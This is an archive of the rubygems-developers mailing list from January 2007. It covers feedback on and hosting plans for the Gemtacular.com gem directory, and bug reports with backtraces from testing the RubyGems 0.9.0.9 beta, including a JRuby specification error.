From anthonyeden at gmail.com Tue Jan 2 15:56:01 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Tue, 2 Jan 2007 15:56:01 -0500 Subject: [Rubygems-developers] Gemtacular.com Message-ID: Hey all, I've just put up the first release of a site I created called http://gemtacular.com/ . Currently it updates once every hour and grabs the latest rubyforge rubygems.yaml file, brings it into a database and then makes it searchable, makes Gems rateable, sorts by most recent, most popular and by name. Hopefully this will help spread the awareness of what gems are out there and will continue to encourage people to use gems as the means of deploying Ruby libraries. At some point here I'll add in support for more of the meta data contained in the gemspec, support for other repos (outside of rubyforge) and links to generated docs. Feedback and suggestions are welcome. V/r Anthony Eden -- Cell: 808 782-5046 Current Location: Melbourne, FL From chad at chadfowler.com Wed Jan 3 10:26:01 2007 From: chad at chadfowler.com (Chad Fowler) Date: Wed, 3 Jan 2007 08:26:01 -0700 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: References: Message-ID: On 1/2/07, Anthony Eden wrote: > Hey all, I've just put up the first release of a site I created called > http://gemtacular.com/ . Currently it updates once every hour and > grabs the latest rubyforge rubygems.yaml file, brings it into a > database and then makes it searchable, makes Gems rateable, sorts by > most recent, most popular and by name. > > Hopefully this will help spread the awareness of what gems are out > there and will continue to encourage people to use gems as the means > of deploying Ruby libraries. > > At some point here I'll add in support for more of the meta data > contained in the gemspec, support for other repos (outside of > rubyforge) and links to generated docs. > > Feedback and suggestions are welcome. > Awesome, Anthony! This is very similar to a twice-stalled project I've started, which was originally intended to go on rubygems.org as the home page. Would you be interested in collaborating and making it "official"? Chad From anthonyeden at gmail.com Wed Jan 3 10:39:30 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Wed, 3 Jan 2007 10:39:30 -0500 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: References: Message-ID: On 1/3/07, Chad Fowler wrote: [snip] > > Awesome, Anthony! This is very similar to a twice-stalled project > I've started, which was originally intended to go on rubygems.org as > the home page. Would you be interested in collaborating and making it > "official"? > > Chad Sure, I'd be happy to collaborate on it. Let me know what you have in mind. V/r Anthony -- Cell: 808 782-5046 Current Location: Melbourne, FL From curt.hibbs at gmail.com Wed Jan 3 11:34:55 2007 From: curt.hibbs at gmail.com (Curt Hibbs) Date: Wed, 3 Jan 2007 10:34:55 -0600 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: References: Message-ID: <31d15f490701030834v79e9acf1g2231d9347224c423@mail.gmail.com> On 1/3/07, Anthony Eden wrote: > > On 1/3/07, Chad Fowler wrote: > > [snip] > > > > > Awesome, Anthony! This is very similar to a twice-stalled project > > I've started, which was originally intended to go on rubygems.org as > > the home page. Would you be interested in collaborating and making it > > "official"? > > > > Chad > > Sure, I'd be happy to collaborate on it. Let me know what you have in > mind. > Very nice! I have a minor suggestion. For gems that have not yet been rated by anyone, I would prefer to see it listed as "unrated" or "not yet rated" rather than as "0 out of 5 stars". Curt -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070103/062e164a/attachment.html From chad at chadfowler.com Wed Jan 3 12:24:28 2007 From: chad at chadfowler.com (Chad Fowler) Date: Wed, 3 Jan 2007 10:24:28 -0700 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: <31d15f490701030834v79e9acf1g2231d9347224c423@mail.gmail.com> References: <31d15f490701030834v79e9acf1g2231d9347224c423@mail.gmail.com> Message-ID: On 1/3/07, Curt Hibbs wrote: > On 1/3/07, Anthony Eden wrote: > > On 1/3/07, Chad Fowler wrote: > > > > [snip] > > > > > > > > Awesome, Anthony! This is very similar to a twice-stalled project > > > I've started, which was originally intended to go on rubygems.org as > > > the home page. Would you be interested in collaborating and making it > > > "official"? > > > > > > Chad > > > > Sure, I'd be happy to collaborate on it. Let me know what you have in > mind. > > > > Very nice! I have a minor suggestion. For gems that have not yet been rated > by anyone, I would prefer to see it listed as "unrated" or "not yet rated" > rather than as "0 out of 5 stars". > Agreed. From chad at chadfowler.com Wed Jan 3 12:25:25 2007 From: chad at chadfowler.com (Chad Fowler) Date: Wed, 3 Jan 2007 10:25:25 -0700 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: References: Message-ID: On 1/3/07, Anthony Eden wrote: > On 1/3/07, Chad Fowler wrote: > > [snip] > > > > > Awesome, Anthony! This is very similar to a twice-stalled project > > I've started, which was originally intended to go on rubygems.org as > > the home page. Would you be interested in collaborating and making it > > "official"? > > > > Chad > > Sure, I'd be happy to collaborate on it. Let me know what you have in mind. > > V/r > Anthony > I was thinking we could deploy this on rubygems.org and maybe open up the source for a few collaborators. In particular, Bruce Williams who does the Ruby Central design work might be persuaded to skin the app a bit. Chad From anthonyeden at gmail.com Wed Jan 3 12:50:10 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Wed, 3 Jan 2007 12:50:10 -0500 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: <31d15f490701030834v79e9acf1g2231d9347224c423@mail.gmail.com> References: <31d15f490701030834v79e9acf1g2231d9347224c423@mail.gmail.com> Message-ID: On 1/3/07, Curt Hibbs wrote: [snip] > > Very nice! I have a minor suggestion. For gems that have not yet been rated > by anyone, I would prefer to see it listed as "unrated" or "not yet rated" > rather than as "0 out of 5 stars". > > Curt Sure. Done. V/r Anthony -- Cell: 808 782-5046 Current Location: Melbourne, FL From anthonyeden at gmail.com Wed Jan 3 12:57:23 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Wed, 3 Jan 2007 12:57:23 -0500 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: References: Message-ID: On 1/3/07, Chad Fowler wrote: > On 1/3/07, Anthony Eden wrote: > > On 1/3/07, Chad Fowler wrote: > > > > [snip] > > > > > > > > Awesome, Anthony! This is very similar to a twice-stalled project > > > I've started, which was originally intended to go on rubygems.org as > > > the home page. Would you be interested in collaborating and making it > > > "official"? > > > > > > Chad > > > > Sure, I'd be happy to collaborate on it. Let me know what you have in mind. > > > > V/r > > Anthony > > > > I was thinking we could deploy this on rubygems.org and maybe open up > the source for a few collaborators. In particular, Bruce Williams who > does the Ruby Central design work might be persuaded to skin the app a > bit. > > Chad Right now I have it deployed on my server with mongrel cluster and Apache 2.2. Do we have access to the same setup on rubygems.org or would it be a different deployment environment? Also would I be able to use capistrano to do updates? Also, I suppose I would need to include links to the existing documentation as well since it would be replacing that homepage - what else would have to be included in order to replace the current rubyforge.org homepage? One option as an alternative to deploying it to the actual rubyforge.org hardware would be to just CNAME a third-level under rubyforge.org until it is ready for final release. Regarding opening the source to some collaborators, that wouldn't be a problem. I have it hosted on my subversion repo so I would just need to set up some accounts for whomever would be involved. Let me know what you would like to do and we'll make it happen. V/r Anthony From drbrain at segment7.net Wed Jan 3 13:28:52 2007 From: drbrain at segment7.net (Eric Hodel) Date: Wed, 3 Jan 2007 10:28:52 -0800 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: References: Message-ID: <137390C8-63A9-452D-84A8-F78FED9F52D3@segment7.net> On Jan 3, 2007, at 09:57, Anthony Eden wrote: > One option as an alternative to deploying it to the actual > rubyforge.org hardware would be to just CNAME a third-level under > rubyforge.org until it is ready for final release. $ host rubygems.org rubygems.org has address 216.133.73.195 $ host rubyforge.org rubyforge.org has address 205.234.109.18 -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From anthonyeden at gmail.com Wed Jan 3 13:57:10 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Wed, 3 Jan 2007 13:57:10 -0500 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: <137390C8-63A9-452D-84A8-F78FED9F52D3@segment7.net> References: <137390C8-63A9-452D-84A8-F78FED9F52D3@segment7.net> Message-ID: On 1/3/07, Eric Hodel wrote: > On Jan 3, 2007, at 09:57, Anthony Eden wrote: > > One option as an alternative to deploying it to the actual > > rubyforge.org hardware would be to just CNAME a third-level under > > rubyforge.org until it is ready for final release. > > $ host rubygems.org > rubygems.org has address 216.133.73.195 > $ host rubyforge.org > rubyforge.org has address 205.234.109.18 > Er, I mistyped...what I *meant* to say was a CNAME under rubygems.org :-) V/r Anthony From drnicwilliams at gmail.com Wed Jan 3 16:11:48 2007 From: drnicwilliams at gmail.com (Nic Williams) Date: Thu, 4 Jan 2007 08:11:48 +1100 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: References: <137390C8-63A9-452D-84A8-F78FED9F52D3@segment7.net> Message-ID: <44b555bb0701031311p560483efi1975c56de74502ba@mail.gmail.com> Erik Kastner and I wrote a Rails app (single RESTful controller) to allow webapps/widgets to get gem data as JSON (with callbacks etc) based on the YAML file. Erik's currently hosting it on his local machine but it'd be great for it it be included in this new gem app. The code is in the SVN repo under the follow project - https://rubyforge.org/projects/restful-forge/ Currently it fetches and caches the YAML file itself and keeps it in memory (didn't seem relevant to store in a DB as we weren't storing any additional data such as ratings); so the most relevant RESTful part is the JSON renderer. If this is something you're happy to include, let me know if you need help migrating this code into the gemtacular code base. Cheers Nic On 1/4/07, Anthony Eden wrote: > > On 1/3/07, Eric Hodel wrote: > > On Jan 3, 2007, at 09:57, Anthony Eden wrote: > > > One option as an alternative to deploying it to the actual > > > rubyforge.org hardware would be to just CNAME a third-level under > > > rubyforge.org until it is ready for final release. > > > > $ host rubygems.org > > rubygems.org has address 216.133.73.195 > > $ host rubyforge.org > > rubyforge.org has address 205.234.109.18 > > > > Er, I mistyped...what I *meant* to say was a CNAME under rubygems.org :-) > > V/r > Anthony > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers > -- Dr Nic Williams http://www.drnicwilliams.com - Ruby/Rails blog skype: nicwilliams (m) +31 62 494 8552 (p) +61 7 3102 3237 (finds me anywhere in the world) (f) +61 7 3305 7572 (sends fax to my email) -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070104/eaa66d1f/attachment.html From rob at muhlestein.net Thu Jan 4 11:45:33 2007 From: rob at muhlestein.net (Rob Muhlestein) Date: Thu, 04 Jan 2007 11:45:33 -0500 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: References: Message-ID: <1167929134.13391.9.camel@dads> On Tue, 2007-01-02 at 15:56 -0500, Anthony Eden wrote: > Hey all, I've just put up the first release of a site I created called > http://gemtacular.com/ . Currently it updates once every hour and > grabs the latest rubyforge rubygems.yaml file, brings it into a > database and then makes it searchable, makes Gems rateable, sorts by > most recent, most popular and by name. This is fantastic! I knew ruby community could beat CPAN. > Hopefully this will help spread the awareness of what gems are out > there and will continue to encourage people to use gems as the means > of deploying Ruby libraries. > > At some point here I'll add in support for more of the meta data > contained in the gemspec, support for other repos (outside of > rubyforge) and links to generated docs. > > Feedback and suggestions are welcome. Is there any effort underway to integrate something like a community-grid of testers and results such as on CPAN? I know it is new, but would something like that be valuable? [googlizing didn't reveal anything]. Also, could the GEM YAML files attribute somehow be mined to show potential GEM file and namespace conflicts, maybe even with a query for gem writers to use to ensure the GEM they are creating, at least at that moment, doesn't containing any files that would clobber those of other gems. Food for thought...love to help once I'm more up to speed (which I am working on everyday). Thanks again, -- Rob Muhlestein http://rob.muhlestein.net From hgs at dmu.ac.uk Thu Jan 4 14:22:22 2007 From: hgs at dmu.ac.uk (Hugh Sasse) Date: Thu, 4 Jan 2007 19:22:22 +0000 (WET) Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: References: Message-ID: On Tue, 2 Jan 2007, Anthony Eden wrote: > Hey all, I've just put up the first release of a site I created called > http://gemtacular.com/ . Currently it updates once every hour and > grabs the latest rubyforge rubygems.yaml file, brings it into a > database and then makes it searchable, makes Gems rateable, sorts by > most recent, most popular and by name. Given the rave reviews I've got round to looking at this. I'm impressed: useful functionality, very accessible. If I were to make any changes to the style I'd only change the light grey to white to improve contrast, and increase the size of the small text (rated, date). So the next thing I did was play with the search: I put in text and got a number of entries, the first of which was called Text. It has a description: "A collection of text algorithms". So I click on the link and get: Text http://text.rubyforge.org/ 0.0/5 Stars * Currently 0.0/5 Stars. Log in to rate. OK, so I click on that URL...and remain on the same page. Also, I'd have expected that page (http://gemtacular.com/gems/Text) to have the description on it, but it doesn't seem to . It might be useful to give some stats for the rating, since there are only 6 possible ratings maybe a barchart would be a good way to display that. I think there's a ruby graphing gem... -- theres gdchart, but nothing matches svg which I'd have expected. These are minor issues, but hopefully this is useful feedback. Also the login: Is this tied in to Rubyforge or do I create a new login? I'm getting rather too many of these. Maybe there's a gem to manage that.... Thank you, Hugh From anthonyeden at gmail.com Thu Jan 4 15:32:41 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Thu, 4 Jan 2007 15:32:41 -0500 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: References: Message-ID: On 1/4/07, Hugh Sasse wrote: > On Tue, 2 Jan 2007, Anthony Eden wrote: > > > Hey all, I've just put up the first release of a site I created called > > http://gemtacular.com/ . Currently it updates once every hour and > > grabs the latest rubyforge rubygems.yaml file, brings it into a > > database and then makes it searchable, makes Gems rateable, sorts by > > most recent, most popular and by name. > > Given the rave reviews I've got round to looking at this. > I'm impressed: useful functionality, very accessible. > If I were to make any changes to the style I'd only change the > light grey to white to improve contrast, and increase the size > of the small text (rated, date). Thanks for the feedback. I've removed the font size setting on those two elements so it will use your browser's default size. I've also lightened the gray background (not completely white, but almost). > So the next thing I did was play with the search: > > I put in text and got a number of entries, the first of which was > called Text. It has a description: "A collection of text algorithms". > So I click on the link and get: > > Text > http://text.rubyforge.org/ > 0.0/5 Stars > > * Currently 0.0/5 Stars. > > Log in to rate. > > > OK, so I click on that URL...and remain on the same page. > Also, I'd have expected that page (http://gemtacular.com/gems/Text) > to have the description on it, but it doesn't seem to . There was a bug, but now it's fixed. That homepage link should actually go to the homepage provided by the Gem. As for the description, it should be there but not all gems provide a description. I've modified it so it will show the summary if the description is empty. > It might be useful to give some stats for the rating, since there > are only 6 possible ratings maybe a barchart would be a good way > to display that. I think there's a ruby graphing gem... -- theres > gdchart, but nothing matches svg which I'd have expected. I'll do charting later. :-) It'll make more sense when there is more data to work with. I'll end up using SWF/XML charts when I do (http://www.maani.us/xml_charts/). > These are minor issues, but hopefully this is useful feedback. Absolutely, keep it coming. I'm working on setting up a blog for the site so I can provide updates and gather new feature requests. All in due time - right now work is getting in the way ;-) > Also the login: Is this tied in to Rubyforge or do I create a > new login? I'm getting rather too many of these. Maybe there's > a gem to manage that.... You're not the first person to mention this. OpenID is one option but I am sure there are others. I'm not quite ready to tackle this yet, but if enough people mention it I might. Also, if Mephisto supports OpenID (so I can use it) then I would probably do it rather quickly. ;-) Sincerely, Anthony Eden From anthonyeden at gmail.com Thu Jan 4 16:30:38 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Thu, 4 Jan 2007 16:30:38 -0500 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: <44b555bb0701031311p560483efi1975c56de74502ba@mail.gmail.com> References: <137390C8-63A9-452D-84A8-F78FED9F52D3@segment7.net> <44b555bb0701031311p560483efi1975c56de74502ba@mail.gmail.com> Message-ID: On 1/3/07, Nic Williams wrote: > Erik Kastner and I wrote a Rails app (single RESTful controller) to allow > webapps/widgets to get gem data as JSON (with callbacks etc) based on the > YAML file. Erik's currently hosting it on his local machine but it'd be > great for it it be included in this new gem app. > > If this is something you're happy to include, let me know if you need help > migrating this code into the gemtacular code base. > > Cheers > Nic Nic, I would be happy to have it integrated in there if you find it useful, but first some decisions need to be made as to where the code will live. Unless there are any objections I will probably request a RubyForge project to host the code within the next couple of days. Once the final Subversion repo is up then I'll give you access so you can integrate. V/r Anthony From drnicwilliams at gmail.com Thu Jan 4 16:39:57 2007 From: drnicwilliams at gmail.com (Nic Williams) Date: Fri, 5 Jan 2007 08:39:57 +1100 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: References: <137390C8-63A9-452D-84A8-F78FED9F52D3@segment7.net> <44b555bb0701031311p560483efi1975c56de74502ba@mail.gmail.com> Message-ID: <44b555bb0701041339g6c3f0534vdd75fb5e91971669@mail.gmail.com> On 1/5/07, Anthony Eden wrote: > > > I would be happy to have it integrated in there if you find it useful, > but first some decisions need to be made as to where the code will > live. Unless there are any objections I will probably request a > RubyForge project to host the code within the next couple of days. > Once the final Subversion repo is up then I'll give you access so you > can integrate. No problems. As for "_probably_ request a RF project in next couple of days" - its not a big decision, you just do it :) Nic -- Dr Nic Williams http://www.drnicwilliams.com - Ruby/Rails blog skype: nicwilliams (m) +31 62 494 8552 (p) +61 7 3102 3237 (finds me anywhere in the world) (f) +61 7 3305 7572 (sends fax to my email) -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070105/0684e020/attachment.html From drbrain at segment7.net Thu Jan 4 20:07:10 2007 From: drbrain at segment7.net (Eric Hodel) Date: Thu, 4 Jan 2007 17:07:10 -0800 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: <1167929134.13391.9.camel@dads> References: <1167929134.13391.9.camel@dads> Message-ID: <243EDD99-8C03-4C27-A4EE-CDDE740D4F34@segment7.net> On Jan 4, 2007, at 08:45, Rob Muhlestein wrote: > Is there any effort underway to integrate something like a > community-grid of testers and results such as on CPAN? I know it is > new, > but would something like that be valuable? [googlizing didn't reveal > anything]. Yes, it is awaiting the 0.9.1 release. (See also my signature.) -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From murat.celiker at gmail.com Fri Jan 5 19:34:59 2007 From: murat.celiker at gmail.com (=?ISO-8859-9?Q?Murat_=C7EL=DDKER?=) Date: Sat, 6 Jan 2007 02:34:59 +0200 Subject: [Rubygems-developers] Where is the CreateAGemInTenMinutes? Message-ID: <73c52d190701051634p13ae5ec9r238b4361ae39291e@mail.gmail.com> http://rubygems.rubyforge.org/wiki/wiki.pl?CreateAGemInTenMinutes says everywhere but file isn't found. (page is redirecting...) from where i find out this file? thanks. -- - - - - - - - - - - - - - - - - - - - - - - Murat ?rif ?EL?KER http://www.ikinoktayazilim.com/wordpress -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070106/e1ecc597/attachment.html From drbrain at segment7.net Sat Jan 6 01:47:06 2007 From: drbrain at segment7.net (Eric Hodel) Date: Fri, 5 Jan 2007 22:47:06 -0800 Subject: [Rubygems-developers] rubygems 0.9.0.9 beta time? In-Reply-To: <45951525.4080705@weirichhouse.org> References: <4D500F49-AB0A-41ED-B314-82BFF57407A2@segment7.net> <45951525.4080705@weirichhouse.org> Message-ID: On Dec 29, 2006, at 05:16, Jim Weirich wrote: > Eric Hodel wrote: >> I saw Jim made a flurry of cleanups, and I made some changes to 'gem >> pristine' to make the require_gem -> gem transition to flow more >> smoothly. >> >> Since its holiday time this will keep the pending 0.9.1 release in >> the public eye a little better, and hopefully we can release 0.9.1 in >> the following week. >> >> Are there any issues pending that I don't know about or have >> forgotten? > > I am talking with Michael Studman about a patch to the > Specification hash method. What's the status of this? -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From jim at weirichhouse.org Sat Jan 6 09:27:21 2007 From: jim at weirichhouse.org (Jim Weirich) Date: Sat, 06 Jan 2007 09:27:21 -0500 Subject: [Rubygems-developers] rubygems 0.9.0.9 beta time? In-Reply-To: References: <4D500F49-AB0A-41ED-B314-82BFF57407A2@segment7.net> <45951525.4080705@weirichhouse.org> Message-ID: <459FB1C9.70706@weirichhouse.org> Eric Hodel wrote: > > What's the status of this? > I've not been able to reproduce the problem. I would recommend going ahead with the release. If we find the issue later, then we an get out a new version with a fix for this quickly. -- Jim Weirich From jim at weirichhouse.org Sat Jan 6 10:44:16 2007 From: jim at weirichhouse.org (Jim Weirich) Date: Sat, 06 Jan 2007 10:44:16 -0500 Subject: [Rubygems-developers] rubygems 0.9.0.9 beta time? In-Reply-To: <459FB1C9.70706@weirichhouse.org> References: <4D500F49-AB0A-41ED-B314-82BFF57407A2@segment7.net> <45951525.4080705@weirichhouse.org> <459FB1C9.70706@weirichhouse.org> Message-ID: <459FC3D0.3000709@weirichhouse.org> Jim Weirich wrote: > Eric Hodel wrote: >> What's the status of this? >> > > I've not been able to reproduce the problem. I would recommend going > ahead with the release. If we find the issue later, then we an get out > a new version with a fix for this quickly. Hang on. I just noticed that Michael has responded to me on my gmail account with some more information. Let me review that and I'll either have a patch or a go ahead by this afternoon. -- -- Jim Weirich jim at weirichhouse.org http://onestepback.org -- In theory, practice and theory are the same. -- In practice, they are different. From jim at weirichhouse.org Sat Jan 6 15:36:33 2007 From: jim at weirichhouse.org (Jim Weirich) Date: Sat, 06 Jan 2007 15:36:33 -0500 Subject: [Rubygems-developers] rubygems 0.9.0.9 beta time? In-Reply-To: <459FC3D0.3000709@weirichhouse.org> References: <4D500F49-AB0A-41ED-B314-82BFF57407A2@segment7.net> <45951525.4080705@weirichhouse.org> <459FB1C9.70706@weirichhouse.org> <459FC3D0.3000709@weirichhouse.org> Message-ID: <45A00851.4030204@weirichhouse.org> Jim Weirich wrote: > Jim Weirich wrote: > > Eric Hodel wrote: > >> What's the status of this? > >> > > > > I've not been able to reproduce the problem. I would recommend going > > ahead with the release. If we find the issue later, then we an get out > > a new version with a fix for this quickly. > > Hang on. I just noticed that Michael has responded to me on my > gmail account with some more information. Let me review that and > I'll either have a patch or a go ahead by this afternoon. Ok, I've applied some patches to specification.rb that might help it be more resistant to really bad input. Unit tests are beefed up as well. Version 0.9.0.9 is on the betagems web location. Michael, could you give the new version a try under JRuby? You can get it with: gem update --system --source http://onestepback.org/betagems (or whatever is appropriate for JRuby). I'd love to get a quick resolution on this. -- -- Jim Weirich jim at weirichhouse.org http://onestepback.org -- In theory, practice and theory are the same. -- In practice, they are different. From c.r.mcgrath at gmail.com Sun Jan 7 07:33:04 2007 From: c.r.mcgrath at gmail.com (Christopher McGrath) Date: Sun, 7 Jan 2007 12:33:04 +0000 Subject: [Rubygems-developers] Problem with 0.9.0.9 Message-ID: <9D5EDFA9-279F-4EC5-941E-4E06651B0FEE@gmail.com> Hi, Just tried out the latest beta. I can install gems from local files, but when I try to install/update remote gems I get. $ sudo gem install capistrano --inc --backtrace ERROR: While executing gem ... (NoMethodError) undefined method `source_index' for # /opt/local/lib/ruby/site_ruby/1.8/rubygems/remote_installer.rb:81:in `source_index_hash' /opt/local/lib/ruby/site_ruby/1.8/rubygems/remote_installer.rb:80:in `each' /opt/local/lib/ruby/site_ruby/1.8/rubygems/remote_installer.rb:80:in `source_index_hash' /opt/local/lib/ruby/site_ruby/1.8/rubygems/remote_installer.rb:91:in `specs_n_sources_matching' /opt/local/lib/ruby/site_ruby/1.8/rubygems/remote_installer.rb:114:in `find_gem_to_install' /opt/local/lib/ruby/site_ruby/1.8/rubygems/remote_installer.rb:57:in `install' /opt/local/lib/ruby/site_ruby/1.8/rubygems/gem_commands.rb:274:in `execute' /opt/local/lib/ruby/site_ruby/1.8/rubygems/gem_commands.rb:236:in `each' /opt/local/lib/ruby/site_ruby/1.8/rubygems/gem_commands.rb:236:in `execute' /opt/local/lib/ruby/site_ruby/1.8/rubygems/command.rb:70:in `invoke' /opt/local/lib/ruby/site_ruby/1.8/rubygems/cmd_manager.rb:120:in `process_args' /opt/local/lib/ruby/site_ruby/1.8/rubygems/cmd_manager.rb:91:in `run' /opt/local/lib/ruby/site_ruby/1.8/rubygems/gem_runner.rb:30:in `run' /opt/local/bin/gem:23 Cheers Chris From me at michaelstudman.com Sun Jan 7 07:24:01 2007 From: me at michaelstudman.com (Michael Studman) Date: Sun, 07 Jan 2007 12:24:01 +0000 Subject: [Rubygems-developers] rubygems 0.9.0.9 beta time? In-Reply-To: <45A00851.4030204@weirichhouse.org> References: <4D500F49-AB0A-41ED-B314-82BFF57407A2@segment7.net> <45951525.4080705@weirichhouse.org> <459FB1C9.70706@weirichhouse.org> <459FC3D0.3000709@weirichhouse.org> <45A00851.4030204@weirichhouse.org> Message-ID: <45A0E661.5030907@michaelstudman.com> > > > Hang on. I just noticed that Michael has responded to me on my > > gmail account with some more information. Let me review that and > > I'll either have a patch or a go ahead by this afternoon. > > Ok, I've applied some patches to specification.rb that might help > it be more resistant to really bad input. Unit tests are beefed up > as well. Version 0.9.0.9 is on the betagems web location. > > Michael, could you give the new version a try under JRuby? You can > get it with: > Will do. I'm away from my development box right now but will check it tonight when I get back home. I'll let you know how I go. > gem update --system --source http://onestepback.org/betagems > > (or whatever is appropriate for JRuby). > > I'd love to get a quick resolution on this. > Michael. From me at michaelstudman.com Sun Jan 7 17:35:16 2007 From: me at michaelstudman.com (Michael Studman) Date: Sun, 07 Jan 2007 22:35:16 +0000 Subject: [Rubygems-developers] rubygems 0.9.0.9 beta time? Message-ID: <45A175A4.1080408@michaelstudman.com> >>Michael, could you give the new version a try under JRuby? You can >> get it with: > Will do. I'm away from my development box right now but will check it > tonight when I get back home. I'll let you know how I go. > gem update --system --source http://onestepback.org/betagems gem update --system doesn't seem to work on JRuby, at least not for me. Not sure why but I seem to remember this happening before. So the way I tested this was by replacing the contents of site_ruby/1.8 with lib for 0.9.0.9. With that in mind... So first the good news. The new code seems to stop the rather annoying problem of bad gem specs halting any gem action under JRuby every single time. I was able to install and update various gems without much of a hassle. The bad news is that there is still at least one gem that seems to have a problems and Specification#hash trips up on it. It's not fatal as it doesn't occur every time, just one in every four or five gem actions. I'm not in a position until tomorrow to debug this further (I don't know which spec is causing the problem) but here's what I know so far. The stack trace for the TypeError is below. It seems something is a Time object when RubyGems expects a String: ~ michaelstudman$ gem --backtrace update Updating installed gems... ERROR: While executing gem ... (TypeError) can't convert Time into String /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/specification.rb:355:in `join' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/specification.rb:355:in `add_bindir' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/specification.rb:366:in `map' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/specification.rb:356:in `add_bindir' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/specification.rb:366:in `test_files' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems.rb:504:in `files' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb:125:in `send' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb:125:in `hash' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb:125:in `inject' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/specification.rb:551:in `hash' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb:125:in `dump' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb:125:in `write_cache' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb:96:in `open' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb:126:in `write_cache' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb:96:in `flush' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb:96:in `refresh' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb:39:in `cache' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb:49:in `search' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/gem_commands.rb:965:in `execute' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/command.rb:70:in `invoke' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/cmd_manager.rb:120:in `process_args' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/cmd_manager.rb:91:in `run' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/lib/ruby/site_ruby/1.8/rubygems/gem_runner.rb:30:in `run' /Users/michaelstudman/Projects/jruby_sandbox/jruby-0.9.2/bin/gem:23 The following method from Specification is implicated: def add_bindir(executables) if not defined? @executables or @executables.nil? then return nil end if defined? @bindir and @bindir then @executables.map {|e| File.join(@bindir, e) } else @executables end end Seems like either @bindir is a Time instance or one of @executables. I'll let you know tomorrow which gem is the culprit. Michael. From drbrain at segment7.net Sun Jan 7 20:09:37 2007 From: drbrain at segment7.net (Eric Hodel) Date: Sun, 7 Jan 2007 17:09:37 -0800 Subject: [Rubygems-developers] Problem with 0.9.0.9 In-Reply-To: <9D5EDFA9-279F-4EC5-941E-4E06651B0FEE@gmail.com> References: <9D5EDFA9-279F-4EC5-941E-4E06651B0FEE@gmail.com> Message-ID: 